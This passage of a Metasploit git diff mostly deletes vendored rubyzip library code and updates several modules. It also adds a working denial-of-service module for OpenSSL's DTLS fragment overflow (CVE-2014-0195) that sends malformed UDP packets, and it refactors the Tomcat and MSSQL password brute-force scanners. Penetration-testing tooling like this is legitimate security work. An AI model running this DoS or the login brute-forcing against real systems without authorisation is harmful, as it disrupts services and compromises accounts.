&continueOnExistsProc) - foundEntry = get_entry(entry) - check_entry_exists(newName, continueOnExistsProc, "rename") - @entrySet.delete(foundEntry) - foundEntry.name = newName - @entrySet << foundEntry - end - - # Replaces the specified entry with the contents of srcPath (from - # the file system). - def replace(entry, srcPath) - check_file(srcPath) - add(remove(entry), srcPath) - end - - # Extracts entry to file destPath. - def extract(entry, destPath, &onExistsProc) - onExistsProc ||= proc { false } - foundEntry = get_entry(entry) - foundEntry.extract(destPath, &onExistsProc) - end - - # Commits changes that has been made since the previous commit to - # the zip archive. - def commit - return if ! commit_required? - on_success_replace(name) { - |tmpFile| - ZipOutputStream.open(tmpFile) { - |zos| - - @entrySet.each { |e| e.write_to_zip_output_stream(zos) } - zos.comment = comment - } - true - } - initialize(name) - end - - # Closes the zip file committing any changes that has been made. - def close - commit - end - - # Returns true if any changes has been made to this archive since - # the previous commit - def commit_required? - return @entrySet != @storedEntries || @create == ZipFile::CREATE - end - - # Searches for entry with the specified name. Returns nil if - # no entry is found. See also get_entry - def find_entry(entry) - @entrySet.detect { - |e| - e.name.sub(/\/$/, "") == entry.to_s.sub(/\/$/, "") - } - end - - # Searches for an entry just as find_entry, but throws Errno::ENOENT - # if no entry is found. - def get_entry(entry) - selectedEntry = find_entry(entry) - unless selectedEntry - raise Errno::ENOENT, entry - end - selectedEntry.restore_ownership = @restore_ownership - selectedEntry.restore_permissions = @restore_permissions - selectedEntry.restore_times = @restore_times - - return selectedEntry - end - - # Creates a directory - def mkdir(entryName, permissionInt = 0755) - if find_entry(entryName) - raise Errno::EEXIST, "File exists - #{entryName}" - end - @entrySet << ZipStreamableDirectory.new(@name, entryName.to_s.ensure_end("/"), nil, permissionInt) - end - - private - - def is_directory(newEntry, srcPath) - srcPathIsDirectory = File.directory?(srcPath) - if newEntry.is_directory && ! srcPathIsDirectory - raise ArgumentError, - "entry name '#{newEntry}' indicates directory entry, but "+ - "'#{srcPath}' is not a directory" - elsif ! newEntry.is_directory && srcPathIsDirectory - newEntry.name += "/" - end - return newEntry.is_directory && srcPathIsDirectory - end - - def check_entry_exists(entryName, continueOnExistsProc, procedureName) - continueOnExistsProc ||= proc { false } - if @entrySet.detect { |e| e.name == entryName } - if continueOnExistsProc.call - remove get_entry(entryName) - else - raise ZipEntryExistsError, - procedureName+" failed. Entry #{entryName} already exists" - end - end - end - - def check_file(path) - unless File.readable? path - raise Errno::ENOENT, path - end - end - - def on_success_replace(aFilename) - tmpfile = get_tempfile - tmpFilename = tmpfile.path - tmpfile.close - if yield tmpFilename - File.rename(tmpFilename, name) - end - end - - def get_tempfile - tempFile = Tempfile.new(File.basename(name), File.dirname(name)) - tempFile.binmode - tempFile - end - - end - - class ZipStreamableDirectory < ZipEntry - def initialize(zipfile, entry, srcPath = nil, permissionInt = nil) - super(zipfile, entry) - - @ftype = :directory - entry.get_extra_attributes_from_path(srcPath) if (srcPath) - @unix_perms = permissionInt if (permissionInt) - end - end - - class ZipStreamableStream < DelegateClass(ZipEntry) #nodoc:all - def initialize(entry) - super(entry) - @tempFile = Tempfile.new(File.basename(name), File.dirname(zipfile)) - @tempFile.binmode - end - - def get_output_stream - if block_given? - begin - yield(@tempFile) - ensure - @tempFile.close - end - else - @tempFile - end - end - - def get_input_stream - if ! @tempFile.closed? - raise StandardError, "cannot open entry for reading while its open for writing - #{name}" - end - @tempFile.open # reopens tempfile from top - @tempFile.binmode - if block_given? - begin - yield(@tempFile) - ensure - @tempFile.close - end - else - @tempFile - end - end - - def write_to_zip_output_stream(aZipOutputStream) - aZipOutputStream.put_next_entry(self) - get_input_stream { |is| IOExtras.copy_stream(aZipOutputStream, is) } - end - end - - class ZipExtraField < Hash - ID_MAP = {} - - # Meta class for extra fields - class Generic - def self.register_map - if self.const_defined?(:HEADER_ID) - ID_MAP[self.const_get(:HEADER_ID)] = self - end - end - - def self.name - self.to_s.split("::")[-1] - end - - # return field [size, content] or false - def initial_parse(binstr) - if ! binstr - # If nil, start with empty. - return false - elsif binstr[0,2] != self.class.const_get(:HEADER_ID) - $stderr.puts "Warning: weired extra feild header ID. skip parsing" - return false - end - [binstr[2,2].unpack("v")[0], binstr[4..-1]] - end - - def ==(other) - self.class != other.class and return false - each { |k, v| - v != other[k] and return false - } - true - end - - def to_local_bin - s = pack_for_local - self.class.const_get(:HEADER_ID) + [s.length].pack("v") + s - end - - def to_c_dir_bin - s = pack_for_c_dir - self.class.const_get(:HEADER_ID) + [s.length].pack("v") + s - end - end - - # Info-ZIP Additional timestamp field - class UniversalTime < Generic - HEADER_ID = "UT" - register_map - - def initialize(binstr = nil) - @ctime = nil - @mtime = nil - @atime = nil - @flag = nil - binstr and merge(binstr) - end - attr_accessor :atime, :ctime, :mtime, :flag - - def merge(binstr) - binstr == "" and return - size, content = initial_parse(binstr) - size or return - @flag, mtime, atime, ctime = content.unpack("CVVV") - mtime and @mtime ||= Time.at(mtime) - atime and @atime ||= Time.at(atime) - ctime and @ctime ||= Time.at(ctime) - end - - def ==(other) - @mtime == other.mtime && - @atime == other.atime && - @ctime == other.ctime - end - - def pack_for_local - s = [@flag].pack("C") - @flag & 1 != 0 and s << [@mtime.to_i].pack("V") - @flag & 2 != 0 and s << [@atime.to_i].pack("V") - @flag & 4 != 0 and s << [@ctime.to_i].pack("V") - s - end - - def pack_for_c_dir - s = [@flag].pack("C") - @flag & 1 == 1 and s << [@mtime.to_i].pack("V") - s - end - end - - # Info-ZIP Extra for UNIX uid/gid - class IUnix < Generic - HEADER_ID = "Ux" - register_map - - def initialize(binstr = nil) - @uid = 0 - @gid = 0 - binstr and merge(binstr) - end - attr_accessor :uid, :gid - - def merge(binstr) - binstr == "" and return - size, content = initial_parse(binstr) - # size: 0 for central direcotry. 4 for local header - return if(! size || size == 0) - uid, gid = content.unpack("vv") - @uid ||= uid - @gid ||= gid - end - - def ==(other) - @uid == other.uid && - @gid == other.gid - end - - def pack_for_local - [@uid, @gid].pack("vv") - end - - def pack_for_c_dir - "" - end - end - - ## start main of ZipExtraField < Hash - def initialize(binstr = nil) - binstr and merge(binstr) - end - - def merge(binstr) - binstr == "" and return - i = 0 - while i < binstr.length - id = binstr[i,2] - len = binstr[i+2,2].to_s.unpack("v")[0] - if id && ID_MAP.member?(id) - field_name = ID_MAP[id].name - if self.member?(field_name) - self[field_name].mergea(binstr[i, len+4]) - else - field_obj = ID_MAP[id].new(binstr[i, len+4]) - self[field_name] = field_obj - end - elsif id - unless self["Unknown"] - s = "" - class << s - alias_method :to_c_dir_bin, :to_s - alias_method :to_local_bin, :to_s - end - self["Unknown"] = s - end - if ! len || len+4 > binstr[i..-1].length - self["Unknown"] << binstr[i..-1] - break; - end - self["Unknown"] << binstr[i, len+4] - end - i += len+4 - end - end - - def create(name) - field_class = nil - ID_MAP.each { |id, klass| - if klass.name == name - field_class = klass - break - end - } - if ! field_class - raise ZipError, "Unknown extra field '#{name}'" - end - self[name] = field_class.new() - end - - def to_local_bin - s = "" - each { |k, v| - s << v.to_local_bin - } - s - end - alias :to_s :to_local_bin - - def to_c_dir_bin - s = "" - each { |k, v| - s << v.to_c_dir_bin - } - s - end - - def c_dir_length - to_c_dir_bin.length - end - def local_length - to_local_bin.length - end - alias :c_dir_size :c_dir_length - alias :local_size :local_length - alias :length :local_length - alias :size :local_length - end # end ZipExtraField - -end # Zip namespace module - - - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/zipfilesystem.rb b/lib/zip/zipfilesystem.rb deleted file mode 100644 index 565ce2b3a0..0000000000 --- a/lib/zip/zipfilesystem.rb +++ /dev/null @@ -1,611 +0,0 @@ -# encoding: ASCII-8BIT -require 'zip/zip' - -module Zip - - # The ZipFileSystem API provides an API for accessing entries in - # a zip archive that is similar to ruby's builtin File and Dir - # classes. - # - # Requiring 'zip/zipfilesystem' includes this module in ZipFile - # making the methods in this module available on ZipFile objects. - # - # Using this API the following example creates a new zip file - # my.zip containing a normal entry with the name - # first.txt, a directory entry named mydir - # and finally another normal entry named second.txt - # - # require 'zip/zipfilesystem' - # - # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { - # |zipfile| - # zipfile.file.open("first.txt", "w") { |f| f.puts "Hello world" } - # zipfile.dir.mkdir("mydir") - # zipfile.file.open("mydir/second.txt", "w") { |f| f.puts "Hello again" } - # } - # - # Reading is as easy as writing, as the following example shows. The - # example writes the contents of first.txt from zip archive - # my.zip to standard out. - # - # require 'zip/zipfilesystem' - # - # Zip::ZipFile.open("my.zip") { - # |zipfile| - # puts zipfile.file.read("first.txt") - # } - - module ZipFileSystem - - def initialize # :nodoc: - mappedZip = ZipFileNameMapper.new(self) - @zipFsDir = ZipFsDir.new(mappedZip) - @zipFsFile = ZipFsFile.new(mappedZip) - @zipFsDir.file = @zipFsFile - @zipFsFile.dir = @zipFsDir - end - - # Returns a ZipFsDir which is much like ruby's builtin Dir (class) - # object, except it works on the ZipFile on which this method is - # invoked - def dir - @zipFsDir - end - - # Returns a ZipFsFile which is much like ruby's builtin File (class) - # object, except it works on the ZipFile on which this method is - # invoked - def file - @zipFsFile - end - - # Instances of this class are normally accessed via the accessor - # ZipFile::file. An instance of ZipFsFile behaves like ruby's - # builtin File (class) object, except it works on ZipFile entries. - # - # The individual methods are not documented due to their - # similarity with the methods in File - class ZipFsFile - - attr_writer :dir -# protected :dir - - class ZipFsStat - def initialize(zipFsFile, entryName) - @zipFsFile = zipFsFile - @entryName = entryName - end - - def forward_invoke(msg) - @zipFsFile.send(msg, @entryName) - end - - def kind_of?(t) - super || t == ::File::Stat - end - - forward_message :forward_invoke, :file?, :directory?, :pipe?, :chardev? - forward_message :forward_invoke, :symlink?, :socket?, :blockdev? - forward_message :forward_invoke, :readable?, :readable_real? - forward_message :forward_invoke, :writable?, :writable_real? - forward_message :forward_invoke, :executable?, :executable_real? - forward_message :forward_invoke, :sticky?, :owned?, :grpowned? - forward_message :forward_invoke, :setuid?, :setgid? - forward_message :forward_invoke, :zero? - forward_message :forward_invoke, :size, :size? - forward_message :forward_invoke, :mtime, :atime, :ctime - - def blocks; nil; end - - def get_entry - @zipFsFile.__send__(:get_entry, @entryName) - end - private :get_entry - - def gid - e = get_entry - if e.extra.member? "IUnix" - e.extra["IUnix"].gid || 0 - else - 0 - end - end - - def uid - e = get_entry - if e.extra.member? "IUnix" - e.extra["IUnix"].uid || 0 - else - 0 - end - end - - def ino; 0; end - - def dev; 0; end - - def rdev; 0; end - - def rdev_major; 0; end - - def rdev_minor; 0; end - - def ftype - if file? - return "file" - elsif directory? - return "directory" - else - raise StandardError, "Unknown file type" - end - end - - def nlink; 1; end - - def blksize; nil; end - - def mode - e = get_entry - if e.fstype == 3 - e.externalFileAttributes >> 16 - else - 33206 # 33206 is equivalent to -rw-rw-rw- - end - end - end - - def initialize(mappedZip) - @mappedZip = mappedZip - end - - def get_entry(fileName) - if ! exists?(fileName) - raise Errno::ENOENT, "No such file or directory - #{fileName}" - end - @mappedZip.find_entry(fileName) - end - private :get_entry - - def unix_mode_cmp(fileName, mode) - begin - e = get_entry(fileName) - e.fstype == 3 && ((e.externalFileAttributes >> 16) & mode ) != 0 - rescue Errno::ENOENT - false - end - end - private :unix_mode_cmp - - def exists?(fileName) - expand_path(fileName) == "/" || @mappedZip.find_entry(fileName) != nil - end - alias :exist? :exists? - - # Permissions not implemented, so if the file exists it is accessible - alias owned? exists? - alias grpowned? exists? - - def readable?(fileName) - unix_mode_cmp(fileName, 0444) - end - alias readable_real? readable? - - def writable?(fileName) - unix_mode_cmp(fileName, 0222) - end - alias writable_real? writable? - - def executable?(fileName) - unix_mode_cmp(fileName, 0111) - end - alias executable_real? executable? - - def setuid?(fileName) - unix_mode_cmp(fileName, 04000) - end - - def setgid?(fileName) - unix_mode_cmp(fileName, 02000) - end - - def sticky?(fileName) - unix_mode_cmp(fileName, 01000) - end - - def umask(*args) - ::File.umask(*args) - end - - def truncate(fileName, len) - raise StandardError, "truncate not supported" - end - - def directory?(fileName) - entry = @mappedZip.find_entry(fileName) - expand_path(fileName) == "/" || (entry != nil && entry.directory?) - end - - def open(fileName, openMode = "r", &block) - openMode.gsub!("b", "") # ignore b option - case openMode - when "r" - @mappedZip.get_input_stream(fileName, &block) - when "w" - @mappedZip.get_output_stream(fileName, &block) - else - raise StandardError, "openmode '#{openMode} not supported" unless openMode == "r" - end - end - - def new(fileName, openMode = "r") - open(fileName, openMode) - end - - def size(fileName) - @mappedZip.get_entry(fileName).size - end - - # Returns nil for not found and nil for directories - def size?(fileName) - entry = @mappedZip.find_entry(fileName) - return (entry == nil || entry.directory?) ? nil : entry.size - end - - def chown(ownerInt, groupInt, *filenames) - filenames.each { |fileName| - e = get_entry(fileName) - unless e.extra.member?("IUnix") - e.extra.create("IUnix") - end - e.extra["IUnix"].uid = ownerInt - e.extra["IUnix"].gid = groupInt - } - filenames.size - end - - def chmod (modeInt, *filenames) - filenames.each { |fileName| - e = get_entry(fileName) - e.fstype = 3 # force convertion filesystem type to unix - e.externalFileAttributes = modeInt << 16 - } - filenames.size - end - - def zero?(fileName) - sz = size(fileName) - sz == nil || sz == 0 - rescue Errno::ENOENT - false - end - - def file?(fileName) - entry = @mappedZip.find_entry(fileName) - entry != nil && entry.file? - end - - def dirname(fileName) - ::File.dirname(fileName) - end - - def basename(fileName) - ::File.basename(fileName) - end - - def split(fileName) - ::File.split(fileName) - end - - def join(*fragments) - ::File.join(*fragments) - end - - def utime(modifiedTime, *fileNames) - fileNames.each { |fileName| - get_entry(fileName).time = modifiedTime - } - end - - def mtime(fileName) - @mappedZip.get_entry(fileName).mtime - end - - def atime(fileName) - e = get_entry(fileName) - if e.extra.member? "UniversalTime" - e.extra["UniversalTime"].atime - else - nil - end - end - - def ctime(fileName) - e = get_entry(fileName) - if e.extra.member? "UniversalTime" - e.extra["UniversalTime"].ctime - else - nil - end - end - - def pipe?(filename) - false - end - - def blockdev?(filename) - false - end - - def chardev?(filename) - false - end - - def symlink?(fileName) - false - end - - def socket?(fileName) - false - end - - def ftype(fileName) - @mappedZip.get_entry(fileName).directory? ? "directory" : "file" - end - - def readlink(fileName) - raise NotImplementedError, "The readlink() function is not implemented" - end - - def symlink(fileName, symlinkName) - raise NotImplementedError, "The symlink() function is not implemented" - end - - def link(fileName, symlinkName) - raise NotImplementedError, "The link() function is not implemented" - end - - def pipe - raise NotImplementedError, "The pipe() function is not implemented" - end - - def stat(fileName) - if ! exists?(fileName) - raise Errno::ENOENT, fileName - end - ZipFsStat.new(self, fileName) - end - - alias lstat stat - - def readlines(fileName) - open(fileName) { |is| is.readlines } - end - - def read(fileName) - @mappedZip.read(fileName) - end - - def popen(*args, &aProc) - File.popen(*args, &aProc) - end - - def foreach(fileName, aSep = $/, &aProc) - open(fileName) { |is| is.each_line(aSep, &aProc) } - end - - def delete(*args) - args.each { - |fileName| - if directory?(fileName) - raise Errno::EISDIR, "Is a directory - \"#{fileName}\"" - end - @mappedZip.remove(fileName) - } - end - - def rename(fileToRename, newName) - @mappedZip.rename(fileToRename, newName) { true } - end - - alias :unlink :delete - - def expand_path(aPath) - @mappedZip.expand_path(aPath) - end - end - - # Instances of this class are normally accessed via the accessor - # ZipFile::dir. An instance of ZipFsDir behaves like ruby's - # builtin Dir (class) object, except it works on ZipFile entries. - # - # The individual methods are not documented due to their - # similarity with the methods in Dir - class ZipFsDir - - def initialize(mappedZip) - @mappedZip = mappedZip - end - - attr_writer :file - - def new(aDirectoryName) - ZipFsDirIterator.new(entries(aDirectoryName)) - end - - def open(aDirectoryName) - dirIt = new(aDirectoryName) - if block_given? - begin - yield(dirIt) - return nil - ensure - dirIt.close - end - end - dirIt - end - - def pwd; @mappedZip.pwd; end - alias getwd pwd - - def chdir(aDirectoryName) - unless @file.stat(aDirectoryName).directory? - raise Errno::EINVAL, "Invalid argument - #{aDirectoryName}" - end - @mappedZip.pwd = @file.expand_path(aDirectoryName) - end - - def entries(aDirectoryName) - entries = [] - foreach(aDirectoryName) { |e| entries << e } - entries - end - - def foreach(aDirectoryName) - unless @file.stat(aDirectoryName).directory? - raise Errno::ENOTDIR, aDirectoryName - end - path = @file.expand_path(aDirectoryName).ensure_end("/") - - subDirEntriesRegex = Regexp.new("^#{path}([^/]+)$") - @mappedZip.each { - |fileName| - match = subDirEntriesRegex.match(fileName) - yield(match[1]) unless match == nil - } - end - - def delete(entryName) - unless @file.stat(entryName).directory? - raise Errno::EINVAL, "Invalid argument - #{entryName}" - end - @mappedZip.remove(entryName) - end - alias rmdir delete - alias unlink delete - - def mkdir(entryName, permissionInt = 0755) - @mappedZip.mkdir(entryName, permissionInt) - end - - def chroot(*args) - raise NotImplementedError, "The chroot() function is not implemented" - end - - end - - class ZipFsDirIterator # :nodoc:all - include Enumerable - - def initialize(arrayOfFileNames) - @fileNames = arrayOfFileNames - @index = 0 - end - - def close - @fileNames = nil - end - - def each(&aProc) - raise IOError, "closed directory" if @fileNames == nil - @fileNames.each(&aProc) - end - - def read - raise IOError, "closed directory" if @fileNames == nil - @fileNames[(@index+=1)-1] - end - - def rewind - raise IOError, "closed directory" if @fileNames == nil - @index = 0 - end - - def seek(anIntegerPosition) - raise IOError, "closed directory" if @fileNames == nil - @index = anIntegerPosition - end - - def tell - raise IOError, "closed directory" if @fileNames == nil - @index - end - end - - # All access to ZipFile from ZipFsFile and ZipFsDir goes through a - # ZipFileNameMapper, which has one responsibility: ensure - class ZipFileNameMapper # :nodoc:all - include Enumerable - - def initialize(zipFile) - @zipFile = zipFile - @pwd = "/" - end - - attr_accessor :pwd - - def find_entry(fileName) - @zipFile.find_entry(expand_to_entry(fileName)) - end - - def get_entry(fileName) - @zipFile.get_entry(expand_to_entry(fileName)) - end - - def get_input_stream(fileName, &aProc) - @zipFile.get_input_stream(expand_to_entry(fileName), &aProc) - end - - def get_output_stream(fileName, &aProc) - @zipFile.get_output_stream(expand_to_entry(fileName), &aProc) - end - - def read(fileName) - @zipFile.read(expand_to_entry(fileName)) - end - - def remove(fileName) - @zipFile.remove(expand_to_entry(fileName)) - end - - def rename(fileName, newName, &continueOnExistsProc) - @zipFile.rename(expand_to_entry(fileName), expand_to_entry(newName), - &continueOnExistsProc) - end - - def mkdir(fileName, permissionInt = 0755) - @zipFile.mkdir(expand_to_entry(fileName), permissionInt) - end - - # Turns entries into strings and adds leading / - # and removes trailing slash on directories - def each - @zipFile.each { - |e| - yield("/"+e.to_s.chomp("/")) - } - end - - def expand_path(aPath) - expanded = aPath.starts_with("/") ? aPath : @pwd.ensure_end("/") + aPath - expanded.gsub!(/\/\.(\/|$)/, "") - expanded.gsub!(/[^\/]+\/\.\.(\/|$)/, "") - expanded.empty? ? "/" : expanded - end - - private - - def expand_to_entry(aPath) - expand_path(aPath).lchop - end - end - end - - class ZipFile - include ZipFileSystem - end -end - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/ziprequire.rb b/lib/zip/ziprequire.rb deleted file mode 100644 index a3b1261c20..0000000000 --- a/lib/zip/ziprequire.rb +++ /dev/null @@ -1,90 +0,0 @@ -# With ziprequire you can load ruby modules from a zip file. This means -# ruby's module include path can include zip-files. -# -# The following example creates a zip file with a single entry -# log/simplelog.rb that contains a single function -# simpleLog: -# -# require 'zip/zipfilesystem' -# -# Zip::ZipFile.open("my.zip", true) { -# |zf| -# zf.file.open("log/simplelog.rb", "w") { -# |f| -# f.puts "def simpleLog(v)" -# f.puts ' Kernel.puts "INFO: #{v}"' -# f.puts "end" -# } -# } -# -# To use the ruby module stored in the zip archive simply require -# zip/ziprequire and include the my.zip zip -# file in the module search path. The following command shows one -# way to do this: -# -# ruby -rzip/ziprequire -Imy.zip -e " require 'log/simplelog'; simpleLog 'Hello world' " - -#$: << 'data/rubycode.zip' << 'data/rubycode2.zip' - - -require 'zip/zip' - -class ZipList #:nodoc:all - def initialize(zipFileList) - @zipFileList = zipFileList - end - - def get_input_stream(entry, &aProc) - @zipFileList.each { - |zfName| - Zip::ZipFile.open(zfName) { - |zf| - begin - return zf.get_input_stream(entry, &aProc) - rescue Errno::ENOENT - end - } - } - raise Errno::ENOENT, - "No matching entry found in zip files '#{@zipFileList.join(', ')}' "+ - " for '#{entry}'" - end -end - - -module Kernel #:nodoc:all - alias :oldRequire :require - - def require(moduleName) - zip_require(moduleName) || oldRequire(moduleName) - end - - def zip_require(moduleName) - return false if already_loaded?(moduleName) - get_resource(ensure_rb_extension(moduleName)) { - |zis| - eval(zis.read); $" << moduleName - } - return true - rescue Errno::ENOENT => ex - return false - end - - def get_resource(resourceName, &aProc) - zl = ZipList.new($:.grep(/\.zip$/)) - zl.get_input_stream(resourceName, &aProc) - end - - def already_loaded?(moduleName) - moduleRE = Regexp.new("^"+moduleName+"(\.rb|\.so|\.dll|\.o)?$") - $".detect { |e| e =~ moduleRE } != nil - end - - def ensure_rb_extension(aString) - aString.sub(/(\.rb)?$/i, ".rb") - end -end - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 9e786f3edd..7372bea682 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -59,6 +59,8 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'rkelly-remix', '0.0.6' # Needed by anemone crawler spec.add_runtime_dependency 'robots' + # Needed by some modules + spec.add_runtime_dependency 'rubyzip', '~> 1.1' # Needed for some post modules spec.add_runtime_dependency 'sqlite3' # required for Time::TZInfo in ActiveSupport diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index c7b5dd6cde..78673a1e8d 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -3,9 +3,20 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +# +# Gems +# + +# for extracting files +require 'zip' + +# +# Project +# + require 'msf/core' -require 'zip/zip' #for extracting files -require 'rex/zip' #for creating files +# for creating files +require 'rex/zip' class Metasploit3 < Msf::Auxiliary @@ -144,17 +155,17 @@ class Metasploit3 < Msf::Auxiliary #unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way def unzip_docx - #Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::ZipFile + #Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File vprint_status("Extracting #{datastore['SOURCE']} into memory.") #we read it all into memory zip_data = Hash.new begin - Zip::ZipFile.open(datastore['SOURCE']) do |filezip| + Zip::File.open(datastore['SOURCE']) do |filezip| filezip.each do |entry| zip_data[entry.name] = filezip.read(entry) end end - rescue Zip::ZipError => e + rescue Zip::Error => e print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.") return nil end diff --git a/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb new file mode 100644 index 0000000000..7c6f059d6b --- /dev/null +++ b/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb @@ -0,0 +1,82 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Dos + include Exploit::Remote::Udp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS', + 'Description' => %q{ + This module performs a Denial of Service Attack against Datagram TLS in + OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h. + This occurs when a DTLS ClientHello message has multiple fragments and the + fragment lengths of later fragments are larger than that of the first, a + buffer overflow occurs, causing a DoS. + }, + 'Author' => + [ + 'Juri Aedla ', # Vulnerability discovery + 'Jon Hart ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-0195'], + ['ZDI', '14-173'], + ['BID', '67900'], + ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'], + ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048'] + ], + 'DisclosureDate' => 'Jun 05 2014')) + + register_options([ + Opt::RPORT(4433), + OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF]) + ], self.class) + + end + + def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil) + # format is: type (1 byte), total length (3 bytes), sequence # (2 bytes), + # fragment offset (3 bytes), fragment length (3 bytes), fragment body + sol = (seq << 48) | (frag_offset << 24) | frag_length + [ + (type << 24) | length, + (sol >> 32), + (sol & 0x00000000FFFFFFFF) + ].pack("NNN") + frag_body + end + + def build_tls_message(type, version, epoch, sequence, message) + # format is: type (1 byte), version (2 bytes), epoch # (2 bytes), + # sequence # (6 bytes) + message length (2 bytes), message body + es = (epoch << 48) | sequence + [ + type, + version, + (es >> 32), + (es & 0x00000000FFFFFFFF), + message.length + ].pack("CnNNn") + message + end + + def run + # add a small fragment + fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C') + # add a large fragment where the length is significantly larger than that of the first + # TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations + fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234)) + message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments) + connect_udp + print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet") + udp_sock.put(message) + disconnect_udp + end +end diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 92c6141166..6a44684fba 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -4,6 +4,8 @@ ## require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/tomcat' class Metasploit3 < Msf::Auxiliary @@ -91,60 +93,68 @@ class Metasploit3 < Msf::Auxiliary return end - each_user_pass { |user, pass| - do_login(user, pass) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + scanner = Metasploit::Framework::LoginScanner::Tomcat.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 10 + ) + + service_data = { + address: ip, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id } - end - def do_login(user='tomcat', pass='tomcat') - vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' with password:'#{pass}'") - success = false - srvhdr = '?' - uri = normalize_uri(datastore['URI']) - begin - res = send_request_cgi({ - 'uri' => uri, - 'method' => 'GET', - 'username' => user, - 'password' => pass - }, 25) - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("http://#{rhost}:#{rport}#{uri} not responding") - return :abort + scanner.scan! do |result| + if result.success? + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public + } + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Credential::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + create_credential_login(login_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: nil, + realm_value: nil, + status: result.status) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end - return :abort if (res.code == 404) - srvhdr = res.headers['Server'] - if res.code == 200 - # Could go with res.headers['Server'] =~ /Apache-Coyote/i - # as well but that seems like an element someone's more - # likely to change - success = true if(res.body.scan(/Tomcat/i).size >= 5) - success - end - - rescue ::Rex::ConnectionError => e - vprint_error("http://#{rhost}:#{rport}#{uri} - #{e}") - return :abort - end - - if success - print_good("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] successful login '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"Tomcat Application Manager\"", - :source_type => "user_supplied", - :duplicate_ok => true, - :active => true - ) - - return :next_user - else - vprint_error("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] failed to login as '#{user}'") - return end end + end diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index 93c62447fc..072025c210 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -5,7 +5,8 @@ require 'msf/core' - +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/mssql' class Metasploit3 < Msf::Auxiliary @@ -30,44 +31,82 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{rhost}:#{rport} - MSSQL - Starting authentication scanner.") - each_user_pass { |user, pass| - do_login(user, pass, 